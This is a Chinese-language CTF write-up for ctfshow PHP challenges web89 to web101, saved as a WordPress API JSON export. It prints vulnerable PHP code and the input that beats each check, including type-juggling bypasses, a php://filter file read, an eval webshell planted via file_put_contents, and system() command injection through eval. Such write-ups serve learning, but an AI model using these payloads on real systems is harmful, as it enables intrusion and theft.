{"id":62,"date":"2024-09-29T15:49:21","date_gmt":"2024-09-29T07:49:21","guid":{"rendered":"http:\/\/www.xtmouse.top\/?p=62"},"modified":"2024-09-29T15:49:21","modified_gmt":"2024-09-29T07:49:21","slug":"php%e7%89%b9%e6%80%a7ctfshow","status":"publish","type":"post","link":"http:\/\/www.xtmouse.top\/index.php\/2024\/09\/29\/php%e7%89%b9%e6%80%a7ctfshow\/","title":{"rendered":"PHP\u7279\u6027(ctfshow)"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">web89<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">$num = $_GET['num'];<br> &nbsp;  if(preg_match(\"\/[0-9]\/\", $num)){<br> &nbsp; &nbsp; &nbsp;  die(\"no no no!\");<br> &nbsp;  }<br> &nbsp;  if(intval($num)){<br> &nbsp; &nbsp; &nbsp;  echo $flag;<br> &nbsp;  } <br>\u8981\u6c42\u8f93\u5165num\u6ca1\u67090-9\u6570\u5b57\uff0c\u8fd9\u91cc\u4f7f\u7528\u6570\u7ec4\u7ed5\u8fc7<br>?num[]=1<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web90<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">    $num = $_GET['num'];<br> &nbsp;  if($num===\"4476\"){<br> &nbsp; &nbsp; &nbsp;  die(\"no no no!\");<br> &nbsp;  }<br> &nbsp;  if(intval($num,0)===4476){<br> &nbsp; &nbsp; &nbsp;  echo $flag;<br> &nbsp;  }else{<br> &nbsp; &nbsp; &nbsp;  echo intval($num,0);<br> &nbsp;  } <br>\u76f4\u63a5\u5b57\u7b26\u4e32\u7ed5\u8fc7\u5373\u53ef?num=4476a<br>\u200b<br>\u62d3\u5c55<br>\u5982\u679c\u5b57\u7b26\u4e32\u5305\u62ec\u4e86 \u201c0x\u201d (\u6216 \u201c0X\u201d) \u7684\u524d\u7f00\uff0c\u4f7f\u7528 16 \u8fdb\u5236 (hex)\uff1b\u5426\u5219\uff0c<br>\u5982\u679c\u5b57\u7b26\u4e32\u4ee5 \u201c0\u201d \u5f00\u59cb\uff0c\u4f7f\u7528 8 \u8fdb\u5236(octal)\uff1b\u5426\u5219\uff0c<br>\u5c06\u4f7f\u7528 10 \u8fdb\u5236 (decimal)\u3002<br>\u6240\u4ee5\u4e5f\u53ef\u4ee5\u8f93\u5165\u516b\u8fdb\u5236?num=010574<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web91<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">$a=$_GET['cmd'];<br>if(preg_match('\/^php$\/im', $a)){  \/\/\u4e0d\u5206\u591a\u884c\u5339\u914d\uff0c\u4e0d\u5206\u5927\u5c0f\u5199<br> &nbsp;  if(preg_match('\/^php$\/i', $a)){  \/\/\u4e0d\u5206\u5927\u5c0f\u5199<br> &nbsp; &nbsp; &nbsp;  echo 'hacker';<br> &nbsp;  }<br> &nbsp;  else{<br> &nbsp; &nbsp; &nbsp;  echo $flag;<br> &nbsp;  }<br>}<br>else{<br> &nbsp;  echo 'nonononono';<br>} <br>\u8865\u5145\u77e5\u8bc6<br>%09 tab\uff1b%0a \u6362\u884c\uff1b%0c \u65b0\u7684\u4e00\u9875\uff1b%a0 \u7a7a\u683c<br>i <br>\u4e0d\u533a\u5206(ignore)\u5927\u5c0f\u5199<br>m<br>\u591a(more)\u884c\u5339\u914d<br>\u82e5\u5b58\u5728\u6362\u884c\\n\u5e76\u4e14\u6709\u5f00\u59cb^\u6216\u7ed3\u675f$\u7b26\u7684\u60c5\u51b5\u4e0b\uff0c<br>\u5c06\u4ee5\u6362\u884c\u4e3a\u5206\u9694\u7b26\uff0c\u9010\u884c\u8fdb\u884c\u5339\u914d<br>\u200b<br>\u6839\u636e\u9898\u610f\uff0c\u8f93\u5165?cmd=%0aphp<br>\u200b<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web92<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">$num = $_GET['num'];<br> &nbsp;  if($num==4476){<br> &nbsp; &nbsp; &nbsp;  die(\"no no no!\");<br> &nbsp;  }<br> &nbsp;  if(intval($num,0)==4476){<br> &nbsp; &nbsp; &nbsp;  echo $flag;<br> &nbsp;  }else{<br> &nbsp; &nbsp; &nbsp;  echo intval($num,0);<br> &nbsp;  } <br>\u8fd9\u9053\u9898\u4e0d\u80fd\u7528\u5b57\u7b26\u4e32\u7ed5\u8fc7\u4e86\uff0c\u6240\u4ee5\u7528\u516b\u8fdb\u5236\u7ed5\u8fc7\uff0c\u8be6\u7ec6\u770bweb90<br>?num=010574<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web93<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">\uff1f\uff1f\u8fd8\u662f\u7528\u516b\u8fdb\u5236\u7ed5\u8fc7\uff0c\u8be5\u9898\u8fc7\u6ee4\u4e86\u5b57\u6bcd\uff0c4476<br>\u4f46\u662f\u4e0d\u80fd\u7528\u5341\u516d\u8fdb\u5236\u7ed5\u8fc7\u4e86\uff08\u5341\u516d\u8fdb\u52360x\uff0c\u4f46\u662f\u8fc7\u6ee4\u5b57\u6bcd\uff09<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web94<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\"> &nbsp;  $num = $_GET['num'];<br> &nbsp;  if($num===\"4476\"){<br> &nbsp; &nbsp; &nbsp;  die(\"no no no!\");<br> &nbsp;  }<br> &nbsp;  if(preg_match(\"\/[a-z]\/i\", $num)){<br> &nbsp; &nbsp; &nbsp;  die(\"no no no!\");<br> &nbsp;  }<br> &nbsp;  if(!strpos($num, \"0\")){<br> &nbsp; &nbsp; &nbsp;  die(\"no no no!\");<br> &nbsp;  }<br> &nbsp;  if(intval($num,0)===4476){<br> &nbsp; &nbsp; &nbsp;  echo $flag;<br> &nbsp;  } <br>\u8fd9\u4e0b\u7ec8\u4e8e\u4e0d\u80fd\u516b\u8fdb\u5236\u7ed5\u8fc7\u4e86<br>?num=4476.0<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web95<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">    $num = $_GET['num'];<br> &nbsp;  if($num==4476){<br> &nbsp; &nbsp; &nbsp;  die(\"no no no!\");<br> &nbsp;  }<br> &nbsp;  if(preg_match(\"\/[a-z]|\\.\/i\", $num)){\/\/ \u70b9\u5339\u914d\u6ca1\u4e86<br> &nbsp; &nbsp; &nbsp;  die(\"no no no!!\");<br> &nbsp;  }<br> &nbsp;  if(!strpos($num, \"0\")){<br> &nbsp; &nbsp; &nbsp;  die(\"no no no!!!\");<br> &nbsp;  }<br> &nbsp;  if(intval($num,0)===4476){<br> &nbsp; &nbsp; &nbsp;  echo $flag;<br> &nbsp;  }<br>\u4e0d\u80fd\u7528\u5c0f\u6570\u89e3\u4e86<br>\u5229\u7528\u516b\u8fdb\u5236\u5f00\u5934\u52a0\u53f7\u4ee3\u66ff\u7a7a\u683c\u7ed5\u8fc7?num=+010574<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web96<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">if(isset($_GET['u'])){<br> &nbsp;  if($_GET['u']=='flag.php'){<br> &nbsp; &nbsp; &nbsp;  die(\"no no no\");<br> &nbsp;  }else{<br> &nbsp; &nbsp; &nbsp;  highlight_file($_GET['u']);<br> &nbsp;  }<br>} <br>\u5c1d\u8bd5?u=flag.php\u4e0d\u884c\uff0c\u6b64\u5730\u65e0\u94f6\u4e09\u767e\u4e24<br>\u76f4\u63a5\u6784\u9020\u4f2a\u534f\u8bae<br>?u=php:\/\/filter\/convert.base64-encode\/resource=flag.php<br>\u83b7\u53d6\u5230\u4e00\u4e32base64\u7f16\u7801\uff0c\u7136\u540e\u89e3\u7801\u5373\u53ef\u83b7\u5f97flag<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web97<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">if (isset($_POST['a']) and isset($_POST['b'])) {<br>if ($_POST['a'] != $_POST['b'])<br>if (md5($_POST['a']) === md5($_POST['b']))<br>echo $flag; <br>\u200b<br>\u5178\u578bmd5\u7ed5\u8fc7\u7c7b\u578b\u9898<br>\u4f7f\u7528\u6570\u7ec4\u7ed5\u8fc7\u5373\u53ef\uff0c\u867d\u7136\u4f1a\u62a5\u9519\uff0c\u4f46\u662f\u8fd8\u662f\u5f97\u5230flag\u4e86<br>a[]=1 &amp; b[]=2<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web98<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">include(\"flag.php\");<br>$_GET?$_GET=&amp;$_POST:'flag';<br>$_GET['flag']=='flag'?$_GET=&amp;$_COOKIE:'flag';<br>$_GET['flag']=='flag'?$_GET=&amp;$_SERVER:'flag';<br>highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);<br>\u5148\u4e86\u89e3\u4e09\u76ee\u8fd0\u7b97\u7b26\u4f5c\u7528\uff0c\u8fd8\u8981\u5b66\u4e60\u5f15\u7528\u4f20\u503c\uff08\u7c7b\u4f3c\u4e8ec++\u7684\u6307\u9488\uff0c\u5730\u5740\uff09<br>$_GET?$_GET=&amp;$_POST:'flag';<br>===============&gt;\u793a\u4f8b<br>if(isset($_GET)){<br>    $_GET=&amp;$_POST; \/\/$_get\u503c\u4e3a$_post\u7684\u503c<br>}else{<br>    'flag';<br>}<br>\u6240\u4ee5\u5f97\u5230\uff0c\u6709get\u65f6\uff0cpost\u503c\u4e0eget\u76f8\u540c\uff0c<br>?a=1 &nbsp; post--&gt; HTTP_FLAG='flag'\u5373\u53ef\u5f97\u5230flag<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web99<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">file_put_contents($_GET['n'], $_POST['content']);<br>\u4e3a\u5199\u5165\u51fd\u6570\uff0c\u8be5\u5904\u610f\u4e49\u4e3a\u5199\u5165\u540d\u79f0\u4e3an\uff0c\u5185\u5bb9\u4e3aconten\u7684\u51fd\u6570<br>\u76f4\u63a5\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c\u5373\u53ef<br>?n=23.php post(content=&lt;?php eval($_POST[1]);?&gt;)<br>1=system(\"ls\");\u5f97\u5230flag36d.php  tac\u8bbf\u95ee\u5373\u53ef<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web100<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">$v1=$_GET['v1'];<br>$v2=$_GET['v2'];<br>$v3=$_GET['v3'];<br>$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); &nbsp; \/\/=\u4f18\u5148\u7ea7\u9ad8\u4e8e&amp;\uff0c\u6545v0\u8d4b\u503c\u4e3av1<br>if($v0){<br> &nbsp;  if(!preg_match(\"\/\\;\/\", $v2)){<br> &nbsp; &nbsp; &nbsp;  if(preg_match(\"\/\\;\/\", $v3)){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  eval(\"$v2('ctfshow')$v3\");<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  } &nbsp; <br>} <br>\u770beval\u91cc\u9762\u5185\u5bb9\uff0c\u53ea\u9700\u8981\u6784\u9020system\u5373\u53ef<br>?v1=1 &amp; v2=system(tac ctfshow.php) &amp; v3=;<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web101<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">$v1=$_GET['v1'];<br>$v2=$_GET['v2'];<br>$v3=$_GET['v3'];<br>$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);<br>if($v0){<br> &nbsp;  if(!preg_match(\"\/\\\\\\\\|\\\/|\\~|\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\*|\\)|\\-|\\_|\\+|\\=|\\{|\\[|\\\"|\\'|\\,|\\.|\\;|\\?|[0-9]\/\", $v2)){<br> &nbsp; &nbsp; &nbsp;  if(!preg_match(\"\/\\\\\\\\|\\\/|\\~|\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\*|\\(|\\-|\\_|\\+|\\=|\\{|\\[|\\\"|\\'|\\,|\\.|\\?|[0-9]\/\", $v3)){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  eval(\"$v2('ctfshow')$v3\");<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>} <br>\u4e0a\u4e00\u9053\u9898\u7684\u52a0\u5f3a\u7248\uff0c\u52a0\u5165\u4e86\u66f4\u591a\u7684\u8fc7\u6ee4\uff0cvar_dump\u548csystem\u65e0\u6cd5\u4f7f\u7528<br>\u8fd9\u4e0b\u8981\u7528reflectionclass\u83b7\u53d6\u503c\uff0c\u4ec0\u4e48\u662freflectionclass\uff1f\u770b\u4e0b\u9762\u89e3\u91ca\u548c\u8fd0\u7528<br>\u53cd\u5c04\u7c7b\u53ef\u4ee5\u8bf4\u6210\u662f\u7c7b\u7684\u4e00\u4e2a\u6620\u5c04\uff0c\u53ef\u4ee5\u5229\u7528\u53cd\u5c04\u7c7b\u6765\u4ee3\u66ff\u6709\u5173\u7c7b\u7684\u5e94\u7528\u7684\u4efb\u4f55\u8bed\u53e5<br>$reflection = new ReflectionClass('hacker');\/\/\u5b9e\u4f8b\u5316\u53cd\u5c04\u5bf9\u8c61,\u6620\u5c04hacker\u7c7b\u7684\u4fe1\u606f<br>$consts = $reflection-&gt;getConstants();\/\/\u83b7\u53d6\u6240\u6709\u5e38\u91cf<br>$props = $reflection-&gt;getProperties();\/\/\u83b7\u53d6\u6240\u6709\u5c5e\u6027<br>$methods = $reflection-&gt;getMethods();\/\/\u83b7\u53d6\u6240\u6709\u65b9\u6cd5<br>\u200b<br>\u63d0\u4ea4? v1=2&amp;v2=echo New Reflectionclass&amp; v3=;<br>\u6700\u540e\u83b7\u53d6$flag_f02731180x2dace10x2d4d6d0x2dbdb50x2dbdff277d4ff<br>\u628a0x2d\u6587\u672c\u66ff\u6362\u6210-\u5373\u53ef<br>\u4f46\u662f\u6700\u540e\u53d1\u73b0\u600e\u4e48\u4e5f\u63d0\u4ea4\u4e0d\u4e0a\uff0c\u4e0e\u4e0a\u4e00\u9898\u5bf9\u7167\u53d1\u73b0\u5c11\u4e86\u4e00\u4f4d\uff0c\u9700\u8981\u81f3\u591a16\u6b21\u7684\u7206\u7834\u83b7\u53d6\u6700\u540e\u4e00\u4f4d\uff08\u6700\u50bb\u903c\u7684\u9898\uff0c\u6ca1\u6709\u4e4b\u4e00\uff09<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n","protected":false},"excerpt":{"rendered":"<p>web89 $num = $_GET[&#8216;num&#8217;]; &nbsp; if(preg_match(&#8220;\/[0-9]\/&#8","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-62","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/posts\/62","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/comments?post=62"}],"version-history":[{"count":1,"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/posts\/62\/revisions"}],"predecessor-version":[{"id":63,"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/posts\/62\/revisions\/63"}],"wp:attachment":[{"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/media?parent=62"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/categories?post=62"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xtmouse.top\/index.php\/wp-json\/wp\/v2\/tags?post=62"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}